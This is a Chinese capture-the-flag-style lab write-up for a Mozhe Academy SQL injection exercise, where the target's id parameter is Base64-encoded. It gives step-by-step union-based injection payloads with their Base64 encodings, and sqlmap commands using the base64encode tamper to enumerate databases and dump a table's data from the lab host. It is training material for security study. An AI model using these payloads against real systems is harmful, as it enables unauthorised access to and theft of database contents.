墨者:SQL注入实战-MySQL
1. 墨者学院:SQL注入实战-MySQL🚀
2. 实训重点目标✨
目标一: 了解sqlmap的使用及其tamper插件的使用;
目标二: 了解base64编码及解码。
3. 解题方向🔍
目标网站的id
参数通过Base64编码传输,因此:
- 手工注入:需将SQL语句Base64编码后注入
- SQLMAP工具:需使用
--tamper=base64encode
自动编码Payload(有效载荷:是指攻击者发送给目标系统的恶意数据或代码,用于触发漏洞或执行特定操作)
4. 手工注入方式🎯
4.1 判断字段数⚡
1 order by 3
Base64编码:
MSBvcmRlciBieSAz
4.2 确定回显位⚡
1 and 1=2 union select 1,2
或
-1 union select 1,2
Base64编码:
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLDI=
LTEgdW5pb24gc2VsZWN0IDEsMg==
4.3 获取数据库信息⚡
1 and 1=2 union select database(),version()
Base64编码:
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBkYXRhYmFzZSgpLHZlcnNpb24oKQ==
4.4 获取系统信息⚡
1 and 1=2 union select @@version_compile_os,user()
Base64编码:
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBAQHZlcnNpb25fY29tcGlsZV9vcyx1c2VyKCk=
4.5 爆表名⚡
1 and 1=2 union select group_concat(table_name),2 from information_schema.tables where table_schema='test'
Base64编码:
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSksMiBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSd0ZXN0Jw==
4.6 爆列名⚡
1 and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_name='data'
Base64编码:
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpLDIgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSdkYXRhJw==
4.7 获取数据⚡
1 and 1=2 union select group_concat(thekey),2 from data
Base64编码:
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQodGhla2V5KSwyIGZyb20gZGF0YQ==
5. SQLMAP工具测试🎯
5.1 获取所有数据库⚡
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" --dbs --batch --tamper=base64encode
5.2 获取test库的表⚡
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" -D test --tables --batch --tamper=base64encode
5.3 获取data表的列⚡
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" -D test -T data --columns --batch --tamper=base64encode
5.4 导出数据⚡
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" -D test -T data -C id,title,main,thekey --dump --batch --tamper=base64encode
5.5 清理缓存⚡
python sqlmap.py --purge
该指令用于清除sqlmap的缓存,因为重启靶场,端口会发生变化,可能获取到的password是之前的数据,详细的sqlmap命令获取如下:
python sqlmap.py -h
5.6 参数说明表⭐
参数 | 作用 |
---|---|
--dbs | 枚举所有数据库 |
-D test | 指定目标数据库 |
--tables | 枚举表名 |
-T data | 指定目标表 |
--columns | 枚举列名 |
--dump | 导出数据 |
--tamper=base64encode | 自动Base64编码Payload |
6. 在线工具🔧
- 加菲工具:https://www.orcc.top/tools/base64
- 锤子工具:https://www.toolhelper.cn/EncodeDecode/Base64
- 白盒子工具:https://www.baihezi.com/base64
7. 总结🏁
- Base64编码的SQL注入需手工编码或使用
tamper
插件 - 手工注入需逐步验证回显位和数据结构
- sqlmap可自动化完成全流程检测
声明:本文仅用于安全学习,严禁非法测试! ❗❗❗